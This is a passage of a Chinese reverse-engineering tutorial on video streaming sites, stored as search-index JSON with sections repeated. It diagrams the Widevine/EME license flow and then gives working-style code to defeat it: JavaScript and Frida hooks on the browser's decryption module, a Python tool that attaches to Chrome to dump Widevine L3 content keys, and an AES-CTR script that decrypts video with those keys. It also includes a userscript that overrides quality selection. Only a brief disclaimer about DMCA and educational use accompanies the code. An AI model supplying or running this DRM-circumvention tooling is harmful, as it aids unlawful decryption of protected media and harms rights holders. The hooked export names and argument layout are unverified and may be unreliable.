设备合法性2. 用户权限3. 订阅状态4. 地区限制 Note over Player,CDN: 阶段 3: License 响应 License-\u003e\u003eLicense: 生成 Content Keys(KID + Key) Note over License: 使用设备公钥加密 Keys License--\u003e\u003ePlayer: License Response (Protobuf 二进制) Player-\u003e\u003eBrowser: session.update(response) Browser-\u003e\u003eCDM: 处理 License Response activate CDM Note over CDM: 1. 使用设备私钥解密2. 提取 Content Keys3. 存储到安全存储 CDM--\u003e\u003eBrowser: Keys 安装完成 deactivate CDM Note over Player,CDN: 阶段 4: 视频播放 Player-\u003e\u003eCDN: 请求加密视频片段 CDN--\u003e\u003ePlayer: 加密的视频数据 Player-\u003e\u003eBrowser: video.play() Browser-\u003e\u003eCDM: 请求解密视频数据 activate CDM Note over CDM: 使用 Content Key解密视频帧(AES-128-CTR/CBC) CDM--\u003e\u003eBrowser: 解密后的视频帧 deactivate CDM Browser-\u003e\u003eBrowser: 渲染视频帧到 Note over Player,CDN: 播放中... sequenceDiagram participant Player as 网页播放器(JavaScript) participant Browser as 浏览器(EME API) participant CDM as Widevine CDM(Content Decryption Module) participant License as License 服务器 participant CDN as CDN(加密视频) Note over Player,CDN: 阶段 1: 初始化播放 Player-\u003e\u003eCDN: 请求视频文件 (DASH/HLS) CDN--\u003e\u003ePlayer: 返回 Manifest (MPD/M3U8) Note over Player: 解析 Manifest发现加密信息 (PSSH) Player-\u003e\u003eBrowser: new MediaKeys()","date":"2025-04-21","objectID":"/reverse_engineering/web/05-case-studies/case_video_streaming/:4:2","tags":["Web","Native层","签名验证","Frida","案例分析","WebAssembly"],"title":"视频网站逆向","uri":"/reverse_engineering/web/05-case-studies/case_video_streaming/#drm-安全级别对比"},{"categories":null,"collections":null,"content":"Widevine 工作流程 EME (Encrypted Media Extensions) + Widevine 完整流程 sequenceDiagram participant Player as 网页播放器(JavaScript) participant Browser as 浏览器(EME API) participant CDM as Widevine CDM(Content Decryption Module) participant License as License 服务器 participant CDN as CDN(加密视频) Note over Player,CDN: 阶段 1: 初始化播放 Player-\u003e\u003eCDN: 请求视频文件 (DASH/HLS) CDN--\u003e\u003ePlayer: 返回 Manifest (MPD/M3U8) Note over Player: 解析 Manifest发现加密信息 (PSSH) Player-\u003e\u003eBrowser: new MediaKeys() Browser-\u003e\u003eCDM: 创建 CDM 实例 CDM--\u003e\u003eBrowser: CDM 初始化完成 Browser--\u003e\u003ePlayer: MediaKeys 对象 Player-\u003e\u003eBrowser: video.setMediaKeys(mediaKeys) Note over Browser: 将 CDM 绑定到 video 元素 Note over Player,CDN: 阶段 2: License 请求 Player-\u003e\u003eBrowser: session.generateRequest(initDataType, initData) Note over Browser: initData 包含 PSSH(Protection System Specific Header) Browser-\u003e\u003eCDM: 生成 License Request activate CDM Note over CDM: 构建 License Request:- 设备 ID- 安全级别 (L1/L3)- Client Capabilities CDM--\u003e\u003eBrowser: License Request (Protobuf 二进制) deactivate CDM Browser--\u003e\u003ePlayer: message 事件 (License Request) Player-\u003e\u003eLicense: POST /licenseContent-Type: application/octet-stream[License Request 二进制数据] Note over License: 验证请求:1. 设备合法性2. 用户权限3. 订阅状态4. 地区限制 Note over Player,CDN: 阶段 3: License 响应 License-\u003e\u003eLicense: 生成 Content Keys(KID + Key) Note over License: 使用设备公钥加密 Keys License--\u003e\u003ePlayer: License Response (Protobuf 二进制) Player-\u003e\u003eBrowser: session.update(response) Browser-\u003e\u003eCDM: 处理 License Response activate CDM Note over CDM: 1. 使用设备私钥解密2. 提取 Content Keys3. 存储到安全存储 CDM--\u003e\u003eBrowser: Keys 安装完成 deactivate CDM Note over Player,CDN: 阶段 4: 视频播放 Player-\u003e\u003eCDN: 请求加密视频片段 CDN--\u003e\u003ePlayer: 加密的视频数据 Player-\u003e\u003eBrowser: video.play() Browser-\u003e\u003eCDM: 请求解密视频数据 activate CDM Note over CDM: 使用 Content Key解密视频帧(AES-128-CTR/CBC) CDM--\u003e\u003eBrowser: 解密后的视频帧 deactivate CDM Browser-\u003e\u003eBrowser: 渲染视频帧到 Note over Player,CDN: 播放中... sequenceDiagram participant Player as 网页播放器(JavaScript) participant Browser as 浏览器(EME API) participant CDM as Widevine CDM(Content Decryption Module) participant License as License 服务器 participant CDN as CDN(加密视频) Note over Player,CDN: 阶段 1: 初始化播放 Player-\u003e\u003eCDN: 请求视频文件 (DASH/HLS) CDN--\u003e\u003ePlayer: 返回 Manifest (MPD/M3U8) Note over Player: 解析 Manifest发现加密信息 (PSSH) Player-\u003e\u003eBrowser: new MediaKeys() Browser-\u003e\u003eCDM: 创建 CDM 实例 CDM--\u003e\u003eBrowser: CDM 初始化完成 Browser--\u003e\u003ePlayer: MediaKeys 对象 Player-\u003e\u003eBrowser: video.setMediaKeys(mediaKeys) Note over Browser: 将 CDM 绑定到 video 元素 Note over Player,CDN: 阶段 2: License 请求 Player-\u003e\u003eBrowser: session.generateRequest(initDataType, initData) Note over Browser: initData 包含 PSSH(Protection System Specific Header) Browser-\u003e\u003eCDM: 生成 License Request activate CDM Note over CDM: 构建 License Request:- 设备 ID- 安全级别 (L1/L3)- Client Capabilities CDM--\u003e\u003eBrowser: License Request (Protobuf 二进制) deactivate CDM Browser--\u003e\u003ePlayer: message 事件 (License Request) Player-\u003e\u003eLicense: POST /licenseContent-Type: application/octet-stream[License Request 二进制数据] Note over License: 验证请求:1. 设备合法性2. 用户权限3. 订阅状态4. 地区限制 Note over Player,CDN: 阶段 3: License 响应 License-\u003e\u003eLicense: 生成 Content Keys(KID + Key) Note over License: 使用设备公钥加密 Keys License--\u003e\u003ePlayer: License Response (Protobuf 二进制) Player-\u003e\u003eBrowser: session.update(response) Browser-\u003e\u003eCDM: 处理 License Response activate CDM Note over CDM: 1. 使用设备私钥解密2. 提取 Content Keys3. 存储到安全存储 CDM--\u003e\u003eBrowser: Keys 安装完成 deactivate CDM Note over Player,CDN: 阶段 4: 视频播放 Player-\u003e\u003eCDN: 请求加密视频片段 CDN--\u003e\u003ePlayer: 加密的视频数据 Player-\u003e\u003eBrowser: video.play() Browser-\u003e\u003eCDM: 请求解密视频数据 activate CDM Note over CDM: 使用 Content Key解密视频帧(AES-128-CTR/CBC) CDM--\u003e\u003eBrowser: 解密后的视频帧 deactivate CDM Browser-\u003e\u003eBrowser: 渲染视频帧到 Note over Player,CDN: 播放中... sequenceDiagram participant Player as 网页播放器(JavaScript) participant Browser as 浏览器(EME API) participant CDM as Widevine CDM(Content Decryption Module) participant License as License 服务器 participant CDN as CDN(加密视频) Note over Player,CDN: 阶段 1: 初始化播放 Player-\u003e\u003eCDN: 请求视频文件 (DASH/HLS) CDN--\u003e\u003ePlayer: 返回 Manifest (MPD/M3U8) Note over Player: 解析 Manifest发现加密信息 (PSSH) Player-\u003e\u003eBrowser: new MediaKeys()","date":"2025-04-21","objectID":"/reverse_engineering/web/05-case-studies/case_video_streaming/:4:2","tags":["Web","Native层","签名验证","Frida","案例分析","WebAssembly"],"title":"视频网站逆向","uri":"/reverse_engineering/web/05-case-studies/case_video_streaming/#widevine-l3-密钥提取流程"},{"categories":null,"collections":null,"content":"逆向步骤 1. 抓包分析 License 请求 # License Request POST /widevine/license HTTP/1.1 Host: license.example.com Content-Type: application/octet-stream [Binary Protobuf Data: License Request] License Request 结构 (Protobuf): message LicenseRequest { ClientIdentification client_id = 1; ContentIdentification content_id = 2; bytes encrypted_client_id = 3; } 2. JavaScript Hook 拦截 // Hook MediaKeySession (function () { const originalGenerateRequest = MediaKeySession.prototype.generateRequest; MediaKeySession.prototype.generateRequest = function ( initDataType, initData ) { console.log(\"=== License Request ===\"); console.log(\"Init Data Type:\", initDataType); console.log(\"Init Data:\", new Uint8Array(initData)); // 拦截 PSSH (Protection System Specific Header) const pssh = new Uint8Array(initData); console.log( \"PSSH:\", Array.from(pssh) .map((b) =\u003e b.toString(16).padStart(2, \"0\")) .join(\" \") ); return originalGenerateRequest.call(this, initDataType, initData); }; const originalUpdate = MediaKeySession.prototype.update; MediaKeySession.prototype.update = function (response) { console.log(\"=== License Response ===\"); console.log(\"Response:\", new Uint8Array(response)); return originalUpdate.call(this, response); }; })(); 3. Frida Hook Native CDM 对于 L3 级别，Content Decryption Module 在浏览器进程中运行: // Frida script to hook Widevine CDM Interceptor.attach( Module.findExportByName(\"widevinecdm.dll\", \"DecryptAndDecode\"), { onEnter: function (args) { console.log(\"DecryptAndDecode called\"); console.log(\"Encrypted buffer:\", args[0]); console.log(\"Buffer size:\", args[1].toInt32()); }, onLeave: function (retval) { console.log(\"Decrypted successfully:\", retval); }, } ); ","date":"2025-04-21","objectID":"/reverse_engineering/web/05-case-studies/case_video_streaming/:4:3","tags":["Web","Native层","签名验证","Frida","案例分析","WebAssembly"],"title":"视频网站逆向","uri":"/reverse_engineering/web/05-case-studies/case_video_streaming/#逆向步骤-2"},{"categories":null,"collections":null,"content":"逆向步骤 1. 抓包分析 License 请求 # License Request POST /widevine/license HTTP/1.1 Host: license.example.com Content-Type: application/octet-stream [Binary Protobuf Data: License Request] License Request 结构 (Protobuf): message LicenseRequest { ClientIdentification client_id = 1; ContentIdentification content_id = 2; bytes encrypted_client_id = 3; } 2. JavaScript Hook 拦截 // Hook MediaKeySession (function () { const originalGenerateRequest = MediaKeySession.prototype.generateRequest; MediaKeySession.prototype.generateRequest = function ( initDataType, initData ) { console.log(\"=== License Request ===\"); console.log(\"Init Data Type:\", initDataType); console.log(\"Init Data:\", new Uint8Array(initData)); // 拦截 PSSH (Protection System Specific Header) const pssh = new Uint8Array(initData); console.log( \"PSSH:\", Array.from(pssh) .map((b) =\u003e b.toString(16).padStart(2, \"0\")) .join(\" \") ); return originalGenerateRequest.call(this, initDataType, initData); }; const originalUpdate = MediaKeySession.prototype.update; MediaKeySession.prototype.update = function (response) { console.log(\"=== License Response ===\"); console.log(\"Response:\", new Uint8Array(response)); return originalUpdate.call(this, response); }; })(); 3. Frida Hook Native CDM 对于 L3 级别，Content Decryption Module 在浏览器进程中运行: // Frida script to hook Widevine CDM Interceptor.attach( Module.findExportByName(\"widevinecdm.dll\", \"DecryptAndDecode\"), { onEnter: function (args) { console.log(\"DecryptAndDecode called\"); console.log(\"Encrypted buffer:\", args[0]); console.log(\"Buffer size:\", args[1].toInt32()); }, onLeave: function (retval) { console.log(\"Decrypted successfully:\", retval); }, } ); ","date":"2025-04-21","objectID":"/reverse_engineering/web/05-case-studies/case_video_streaming/:4:3","tags":["Web","Native层","签名验证","Frida","案例分析","WebAssembly"],"title":"视频网站逆向","uri":"/reverse_engineering/web/05-case-studies/case_video_streaming/#1-抓包分析-license-请求"},{"categories":null,"collections":null,"content":"逆向步骤 1. 抓包分析 License 请求 # License Request POST /widevine/license HTTP/1.1 Host: license.example.com Content-Type: application/octet-stream [Binary Protobuf Data: License Request] License Request 结构 (Protobuf): message LicenseRequest { ClientIdentification client_id = 1; ContentIdentification content_id = 2; bytes encrypted_client_id = 3; } 2. JavaScript Hook 拦截 // Hook MediaKeySession (function () { const originalGenerateRequest = MediaKeySession.prototype.generateRequest; MediaKeySession.prototype.generateRequest = function ( initDataType, initData ) { console.log(\"=== License Request ===\"); console.log(\"Init Data Type:\", initDataType); console.log(\"Init Data:\", new Uint8Array(initData)); // 拦截 PSSH (Protection System Specific Header) const pssh = new Uint8Array(initData); console.log( \"PSSH:\", Array.from(pssh) .map((b) =\u003e b.toString(16).padStart(2, \"0\")) .join(\" \") ); return originalGenerateRequest.call(this, initDataType, initData); }; const originalUpdate = MediaKeySession.prototype.update; MediaKeySession.prototype.update = function (response) { console.log(\"=== License Response ===\"); console.log(\"Response:\", new Uint8Array(response)); return originalUpdate.call(this, response); }; })(); 3. Frida Hook Native CDM 对于 L3 级别，Content Decryption Module 在浏览器进程中运行: // Frida script to hook Widevine CDM Interceptor.attach( Module.findExportByName(\"widevinecdm.dll\", \"DecryptAndDecode\"), { onEnter: function (args) { console.log(\"DecryptAndDecode called\"); console.log(\"Encrypted buffer:\", args[0]); console.log(\"Buffer size:\", args[1].toInt32()); }, onLeave: function (retval) { console.log(\"Decrypted successfully:\", retval); }, } ); ","date":"2025-04-21","objectID":"/reverse_engineering/web/05-case-studies/case_video_streaming/:4:3","tags":["Web","Native层","签名验证","Frida","案例分析","WebAssembly"],"title":"视频网站逆向","uri":"/reverse_engineering/web/05-case-studies/case_video_streaming/#2-javascript-hook-拦截"},{"categories":null,"collections":null,"content":"逆向步骤 1. 抓包分析 License 请求 # License Request POST /widevine/license HTTP/1.1 Host: license.example.com Content-Type: application/octet-stream [Binary Protobuf Data: License Request] License Request 结构 (Protobuf): message LicenseRequest { ClientIdentification client_id = 1; ContentIdentification content_id = 2; bytes encrypted_client_id = 3; } 2. JavaScript Hook 拦截 // Hook MediaKeySession (function () { const originalGenerateRequest = MediaKeySession.prototype.generateRequest; MediaKeySession.prototype.generateRequest = function ( initDataType, initData ) { console.log(\"=== License Request ===\"); console.log(\"Init Data Type:\", initDataType); console.log(\"Init Data:\", new Uint8Array(initData)); // 拦截 PSSH (Protection System Specific Header) const pssh = new Uint8Array(initData); console.log( \"PSSH:\", Array.from(pssh) .map((b) =\u003e b.toString(16).padStart(2, \"0\")) .join(\" \") ); return originalGenerateRequest.call(this, initDataType, initData); }; const originalUpdate = MediaKeySession.prototype.update; MediaKeySession.prototype.update = function (response) { console.log(\"=== License Response ===\"); console.log(\"Response:\", new Uint8Array(response)); return originalUpdate.call(this, response); }; })(); 3. Frida Hook Native CDM 对于 L3 级别，Content Decryption Module 在浏览器进程中运行: // Frida script to hook Widevine CDM Interceptor.attach( Module.findExportByName(\"widevinecdm.dll\", \"DecryptAndDecode\"), { onEnter: function (args) { console.log(\"DecryptAndDecode called\"); console.log(\"Encrypted buffer:\", args[0]); console.log(\"Buffer size:\", args[1].toInt32()); }, onLeave: function (retval) { console.log(\"Decrypted successfully:\", retval); }, } ); ","date":"2025-04-21","objectID":"/reverse_engineering/web/05-case-studies/case_video_streaming/:4:3","tags":["Web","Native层","签名验证","Frida","案例分析","WebAssembly"],"title":"视频网站逆向","uri":"/reverse_engineering/web/05-case-studies/case_video_streaming/#3-frida-hook-native-cdm"},{"categories":null,"collections":null,"content":"L3 密钥提取工具 import frida import sys class WidevineL3Extractor: def __init__(self): self.keys = [] def on_message(self, message, data): \"\"\"处理 Frida 消息\"\"\" if message['type'] == 'send': payload = message['payload'] if 'key' in payload: print(f\"Found key: {payload['key']}\") self.keys.append(payload) def extract_keys(self, process_name='chrome.exe'): \"\"\"从浏览器进程提取密钥\"\"\" session = frida.attach(process_name) script_code = \"\"\" // Hook Widevine OEMCrypto functions var oemcrypto = Process.findModuleByName('widevinecdm.dll'); if (oemcrypto) { var decrypt_func = oemcrypto.findExportByName('OEMCrypto_DecryptCTR'); Interceptor.attach(decrypt_func, { onEnter: function(args) { // args[2] is the key var key = args[2]; var keyBuffer = Memory.readByteArray(key, 16); send({ 'type': 'key', 'key': Array.from(new Uint8Array(keyBuffer)).map(b =\u003e b.toString(16).padStart(2, '0') ).join('') }); } }); } \"\"\" script = session.create_script(script_code) script.on('message', self.on_message) script.load() print(\"Waiting for keys... (play some DRM content)\") sys.stdin.read() return self.keys # 使用示例 extractor = WidevineL3Extractor() keys = extractor.extract_keys('chrome.exe') # 使用提取的密钥解密视频 for key_info in keys: print(f\"KID: {key_info.get('kid', 'N/A')}\") print(f\"Key: {key_info['key']}\") ","date":"2025-04-21","objectID":"/reverse_engineering/web/05-case-studies/case_video_streaming/:4:4","tags":["Web","Native层","签名验证","Frida","案例分析","WebAssembly"],"title":"视频网站逆向","uri":"/reverse_engineering/web/05-case-studies/case_video_streaming/#l3-密钥提取工具"},{"categories":null,"collections":null,"content":"使用密钥解密视频 from Crypto.Cipher import AES def decrypt_video_with_key(encrypted_file, output_file, key_hex, iv_hex=None): \"\"\"使用提取的密钥解密视频\"\"\" key = bytes.fromhex(key_hex) if iv_hex: iv = bytes.fromhex(iv_hex) else: # 默认 IV (全 0) iv = b'\\x00' * 16 cipher = AES.new(key, AES.MODE_CTR, nonce=iv[:8], initial_value=int.from_bytes(iv[8:], 'big')) with open(encrypted_file, 'rb') as f_in: with open(output_file, 'wb') as f_out: while True: chunk = f_in.read(64 * 1024) if not chunk: break decrypted_chunk = cipher.decrypt(chunk) f_out.write(decrypted_chunk) # 使用示例 decrypt_video_with_key( 'encrypted_video.mp4', 'decrypted_video.mp4', key_hex='0123456789abcdef0123456789abcdef' ) ","date":"2025-04-21","objectID":"/reverse_engineering/web/05-case-studies/case_video_streaming/:4:5","tags":["Web","Native层","签名验证","Frida","案例分析","WebAssembly"],"title":"视频网站逆向","uri":"/reverse_engineering/web/05-case-studies/case_video_streaming/#使用密钥解密视频"},{"categories":null,"collections":null,"content":"注意事项 L1 vs L3: L1 级别的密钥存储在硬件安全模块中，无法直接提取 法律风险: 绕过 DRM 可能违反 DMCA 等法律 仅用于研究: 本案例仅用于教育目的 ","date":"2025-04-21","objectID":"/reverse_engineering/web/05-case-studies/case_video_streaming/:4:6","tags":["Web","Native层","签名验证","Frida","案例分析","WebAssembly"],"title":"视频网站逆向","uri":"/reverse_engineering/web/05-case-studies/case_video_streaming/#注意事项"},{"categories":null,"collections":null,"content":"案例 4: 视频清晰度选择算法逆向 ","date":"2025-04-21","objectID":"/reverse_engineering/web/05-case-studies/case_video_streaming/:5:0","tags":["Web","Native层","签名验证","Frida","案例分析","WebAssembly"],"title":"视频网站逆向","uri":"/reverse_engineering/web/05-case-studies/case_video_streaming/#案例-4-视频清晰度选择算法逆向"},{"categories":null,"collections":null,"content":"背景 视频平台根据网络状况自动调整视频清晰度。逆向这个算法可以强制播放最高质量视频。 ","date":"2025-04-21","objectID":"/reverse_engineering/web/05-case-studies/case_video_streaming/:5:1","tags":["Web","Native层","签名验证","Frida","案例分析","WebAssembly"],"title":"视频网站逆向","uri":"/reverse_engineering/web/05-case-studies/case_video_streaming/#背景-3"},{"categories":null,"collections":null,"content":"逆向步骤 1. 定位 ABR (Adaptive Bitrate) 逻辑 在播放器代码中搜索 bandwidth、quality、resolution: class AdaptiveBitrateController { constructor() { this.currentLevel = 0; this.levels = [ { width: 640, height: 360, bitrate: 800000 }, { width: 1280, height: 720, bitrate: 2500000 }, { width: 1920, height: 1080, bitrate: 5000000 }, { width: 3840, height: 2160, bitrate: 15000000 }, ]; } selectLevel(bandwidth, bufferLevel) { /** * 选择算法: * 1. 如果缓冲区低于 5 秒，降低质量 * 2. 如果带宽 \u003e 比特率 * 1.5，可以升级 * 3. 考虑切换成本（避免频繁切换） */ if (bufferLevel \u003c 5) { // 缓冲区不足，降级 return Math.max(0, this.currentLevel - 1); } // 找到最高可用质量 for (let i = this.levels.length - 1; i \u003e= 0; i--) { if (bandwidth \u003e= this.levels[i].bitrate * 1.5) { // 避免频繁切换 if (Math.abs(i - this.currentLevel) \u003c= 1) { return i; } } } return this.currentLevel; } measureBandwidth() { /** * 带宽测量: * 使用最近下载片段的速度估算 */ const recentDownloads = this.downloadHistory.slice(-5); const totalBytes = recentDownloads.reduce((sum, d) =\u003e sum + d.bytes, 0); const totalTime = recentDownloads.reduce((sum, d) =\u003e sum + d.duration, 0); return (totalBytes * 8) / totalTime; // bps } } 2. Hook 强制最高质量 // 方法 1: 覆盖 selectLevel 方法 (function () { const originalSelectLevel = AdaptiveBitrateController.prototype.selectLevel; AdaptiveBitrateController.prototype.selectLevel = function ( bandwidth, bufferLevel ) { // 总是返回最高质量索引 return this.levels.length - 1; }; console.log(\"Forced highest quality\"); })(); // 方法 2: 修改带宽测量结果 (function () { const originalMeasureBandwidth = AdaptiveBitrateController.prototype.measureBandwidth; AdaptiveBitrateController.prototype.measureBandwidth = function () { // 返回一个很大的带宽值 return 100000000; // 100 Mbps }; })(); 3. Tampermonkey 用户脚本 // ==UserScript== // @name Force Highest Video Quality // @namespace http://tampermonkey.net/ // @version 1.0 // @description 强制视频播放最高质量 // @match https://video.example.com/* // @grant none // ==/UserScript== (function () { \"use strict\"; // 等待播放器加载 const observer = new MutationObserver((mutations, obs) =\u003e { const player = document.querySelector(\"video\"); if (player) { obs.disconnect(); forceHighestQuality(); } }); observer.observe(document.body, { childList: true, subtree: true, }); function forceHighestQuality() { // 方法 1: 修改 HTMLMediaElement const video = document.querySelector(\"video\"); Object.defineProperty(video, \"playbackQuality\", { get: function () { return { totalVideoFrames: 10000, droppedVideoFrames: 0, corruptedVideoFrames: 0, }; }, }); // 方法 2: Hook hls.js if (window.Hls) { const originalLoadSource = Hls.prototype.loadSource; Hls.prototype.loadSource = function (url) { // 强制加载最高质量的 m3u8 url = url.replace(/\\d+p\\.m3u8/, \"2160p.m3u8\"); return originalLoadSource.call(this, url); }; // 禁用自动质量切换 const player = new Hls({ autoStartLoad: true, startLevel: -1, // -1 表示最高质量 capLevelToPlayerSize: false, // 不限制质量 }); } console.log(\"Forced to highest quality\"); } })(); ","date":"2025-04-21","objectID":"/reverse_engineering/web/05-case-studies/case_video_streaming/:5:2","tags":["Web","Native层","签名验证","Frida","案例分析","WebAssembly"],"title":"视频网站逆向","uri":"/reverse_engineering/web/05-case-studies/case_video_streaming/#逆向步骤-3"},{"categories":null,"collections":null,"content":"逆向步骤 1. 定位 ABR (Adaptive Bitrate) 逻辑 在播放器代码中搜索 bandwidth、quality、resolution: class AdaptiveBitrateController { constructor() { this.currentLevel = 0; this.levels = [ { width: 640, height: 360, bitrate: 800000 }, { width: 1280, height: 720, bitrate: 2500000 }, { width: 1920, height: 1080, bitrate: 5000000 }, { width: 3840, height: 2160, bitrate: 15000000 }, ]; } selectLevel(bandwidth, bufferLevel) { /** * 选择算法: * 1. 如果缓冲区低于 5 秒，降低质量 * 2. 如果带宽 \u003e 比特率 * 1.5，可以升级 * 3. 考虑切换成本（避免频繁切换） */ if (bufferLevel \u003c 5) { // 缓冲区不足，降级 return Math.max(0, this.currentLevel - 1); } // 找到最高可用质量 for (let i = this.levels.length - 1; i \u003e= 0; i--) { if (bandwidth \u003e= this.levels[i].bitrate * 1.5) { // 避免频繁切换 if (Math.abs(i - this.currentLevel) \u003c= 1) { return i; } } } return this.currentLevel; } measureBandwidth() { /** * 带宽测量: * 使用最近下载片段的速度估算 */ const recentDownloads = this.downloadHistory.slice(-5); const totalBytes = recentDownloads.reduce((sum, d) =\u003e sum + d.bytes, 0); const totalTime = recentDownloads.reduce((sum, d) =\u003e sum + d.duration, 0); return (totalBytes * 8) / totalTime; // bps } } 2. Hook 强制最高质量 // 方法 1: 覆盖 selectLevel 方法 (function () { const originalSelectLevel = AdaptiveBitrateController.prototype.selectLevel; AdaptiveBitrateController.prototype.selectLevel = function ( bandwidth, bufferLevel ) { // 总是返回最高质量索引 return this.levels.length - 1; }; console.log(\"Forced highest quality\"); })(); // 方法 2: 修改带宽测量结果 (function () { const originalMeasureBandwidth = AdaptiveBitrateController.prototype.measureBandwidth; AdaptiveBitrateController.prototype.measureBandwidth = function () { // 返回一个很大的带宽值 return 100000000; // 100 Mbps }; })(); 3. Tampermonkey 用户脚本 // ==UserScript== // @name Force Highest Video Quality // @namespace http://tampermonkey.net/ // @version 1.0 // @description 强制视频播放最高质量 // @match https://video.example.com/* // @grant none // ==/UserScript== (function () { \"use strict\"; // 等待播放器加载 const observer = new MutationObserver((mutations, obs) =\u003e { const player = document.querySelector(\"video\"); if (player) { obs.disconnect(); forceHighestQuality(); } }); observer.observe(document.body, { childList: true, subtree: true, }); function forceHighestQuality() { // 方法 1: 修改 HTMLMediaElement const video = document.querySelector(\"video\"); Object.defineProperty(video, \"playbackQuality\", { get: function () { return { totalVideoFrames: 10000, droppedVideoFrames: 0, corruptedVideoFrames: 0, }; }, }); // 方法 2: Hook hls.js if (window.Hls) { const originalLoadSource = Hls.prototype.loadSource; Hls.prototype.loadSource = function (url) { // 强制加载最高质量的 m3u8 url = url.replace(/\\d+p\\.m3u8/, \"2160p.m3u8\"); return originalLoadSource.call(this, url); }; // 禁用自动质量切换 const player = new Hls({ autoStartLoad: true, startLevel: -1, // -1 表示最高质量 capLevelToPlayerSize: false, // 不限制质量 }); } console.log(\"Forced to highest quality\"); } })(); ","date":"2025-04-21","objectID":"/reverse_engineering/web/05-case-studies/case_video_streaming/:5:2","tags":["Web","Native层","签名验证","Frida","案例分析","WebAssembly"],"title":"视频网站逆向","uri":"/reverse_engineering/web/05-case-studies/case_video_streaming/#1-定位-abr-adaptive-bitrate-逻辑"},{"categories":null,"collections":null,"content":"逆向步骤 1. 定位 ABR (Adaptive Bitrate) 逻辑 在播放器代码中搜索 bandwidth、quality、resolution: class AdaptiveBitrateController { constructor() { this.currentLevel = 0; this.levels = [ { width: 640, height: 360, bitrate: 800000 }, { width: 1280, height: 720, bitrate: 2500000 }, { width: 1920, height: 1080, bitrate: 5000000 }, { width: 3840, height: 2160, bitrate: 15000000 }, ]; } selectLevel(bandwidth, bufferLevel) { /** * 选择算法: * 1. 如果缓冲区低于 5 秒，降低质量 * 2. 如果带宽 \u003e 比特率 * 1.5，可以升级 * 3. 考虑切换成本（避免频繁切换） */ if (bufferLevel \u003c 5) { // 缓冲区不足，降级 return Math.max(0, this.currentLevel - 1); } // 找到最高可用质量 for (let i = this.levels.length - 1; i \u003e= 0; i--) { if (bandwidth \u003e= this.levels[i].bitrate * 1.5) { // 避免频繁切换 if (Math.abs(i - this.currentLevel) \u003c= 1) { return i; } } } return this.currentLevel; } measureBandwidth() { /** * 带宽测量: * 使用最近下载片段的速度估算 */ const recentDownloads = this.downloadHistory.slice(-5); const totalBytes = recentDownloads.reduce((sum, d) =\u003e sum + d.bytes, 0); const totalTime = recentDownloads.reduce((sum, d) =\u003e sum + d.duration, 0); return (totalBytes * 8) / totalTime; // bps } } 2. Hook 强制最高质量 // 方法 1: 覆盖 selectLevel 方法 (function () { const originalSelectLevel = AdaptiveBitrateController.prototype.selectLevel; AdaptiveBitrateController.prototype.selectLevel = function ( bandwidth, bufferLevel ) { // 总是返回最高质量索引 return this.levels.length - 1; }; console.log(\"Forced highest quality\"); })(); // 方法 2: 修改带宽测量结果 (function () { const originalMeasureBandwidth = AdaptiveBitrateController.prototype.measureBandwidth; AdaptiveBitrateController.prototype.measureBandwidth = function () { // 返回一个很大的带宽值 return 100000000; // 100 Mbps }; })(); 3. Tampermonkey 用户脚本 // ==UserScript== // @name Force Highest Video Quality // @namespace http://tampermonkey.net/ // @version 1.0 // @description 强制视频播放最高质量 // @match https://video.example.com/* // @grant none // ==/UserScript== (function () { \"use strict\"; // 等待播放器加载 const observer = new MutationObserver((mutations, obs) =\u003e { const player = document.querySelector(\"video\"); if (player) { obs.disconnect(); forceHighestQuality(); } }); observer.observe(document.body, { childList: true, subtree: true, }); function forceHighestQuality() { // 方法 1: 修改 HTMLMediaElement const video = document.querySelector(\"video\"); Object.defineProperty(video, \"playbackQuality\", { get: function () { return { totalVideoFrames: 10000, droppedVideoFrames: 0, corruptedVideoFrames: 0, }; }, }); // 方法 2: Hook hls.js if (window.Hls) { const originalLoadSource = Hls.prototype.loadSource; Hls.prototype.loadSource = function (url) { // 强制加载最高质量的 m3u8 url = url.replace(/\\d+p\\.m3u8/, \"2160p.m3u8\"); return originalLoadSource.call(this, url); }; // 禁用自动质量切换 const player = new Hls({ autoStartLoad: true, startLevel: -1, // -1 表示最高质量 capLevelToPlayerSize: false, // 不限制质量 }); } console.log(\"Forced to highest quality\"); } })(); ","date":"2025-04-21","objectID":"/reverse_engineering/web/05-case-studies/case_video_streaming/:5:2","tags":["Web","Native层","签名验证","Frida","案例分析","WebAssembly"],"title":"视频网站逆向","uri":"/reverse_engineering/web/05-case-studies/case_video_streaming/#2-hook-强制最高质量"},{"categories":null,"collections":null,"content":"逆向步骤 1. 定位 ABR (Adaptive Bitrate) 逻辑 在播放器代码中搜索 bandwidth、quality、resolution: class AdaptiveBitrateController { constructor() { this.currentLevel = 0; this.levels = [ { width: 640, height: 360, bitrate: 800000 }, { width: 1280, height: 720, bitrate: 2500000 }, { width: 1920, height: 1080, bitrate: 5000000 }, { width: 3840, height: 2160, bitrate: 15000000 }, ]; } selectLevel(bandwidth, bufferLevel) { /** * 选择算法: * 1. 如果缓冲区低于 5 秒，降低质量 * 2. 如果带宽 \u003e 比特率 * 1.5，可以升级 * 3. 考虑切换成本（避免频繁切换） */ if (bufferLevel \u003c 5) { // 缓冲区不足，降级 return Math.max(0, this.currentLevel - 1); } // 找到最高可用质量 for (let i = this.levels.length - 1; i \u003e= 0; i--) { if (bandwidth \u003e= this.levels[i].bitrate * 1.5) { // 避免频繁切换 if (Math.abs(i - this.currentLevel) \u003c= 1) { return i; } } } return this.currentLevel; } measureBandwidth() { /** * 带宽测量: * 使用最近下载片段的速度估算 */ const recentDownloads = this.downloadHistory.slice(-5); const totalBytes = recentDownloads.reduce((sum, d) =\u003e sum + d.bytes, 0); const totalTime = recentDownloads.reduce((sum, d) =\u003e sum + d.duration, 0); return (totalBytes * 8) / totalTime; // bps } } 2. Hook 强制最高质量 // 方法 1: 覆盖 selectLevel 方法 (function () { const originalSelectLevel = AdaptiveBitrateController.prototype.selectLevel; AdaptiveBitrateController.prototype.selectLevel = function ( bandwidth, bufferLevel ) { // 总是返回最高质量索引 return this.levels.length - 1; }; console.log(\"Forced highest quality\"); })(); // 方法 2: 修改带宽测量结果 (function () { const originalMeasureBandwidth = AdaptiveBitrateController.prototype.measureBandwidth; AdaptiveBitrateController.prototype.measureBandwidth = function () { // 返回一个很大的带宽值 return 100000000; // 100 Mbps }; })(); 3. Tampermonkey 用户脚本 // ==UserScript== // @name Force Highest Video Quality // @namespace http://tampermonkey.net/ // @version 1.0 // @description 强制视频播放最高质量 // @match https://video.example.com/* // @grant none // ==/UserScript== (function () { \"use strict\"; // 等待播放器加载 const observer = new MutationObserver((mutations, obs) =\u003e { const player = 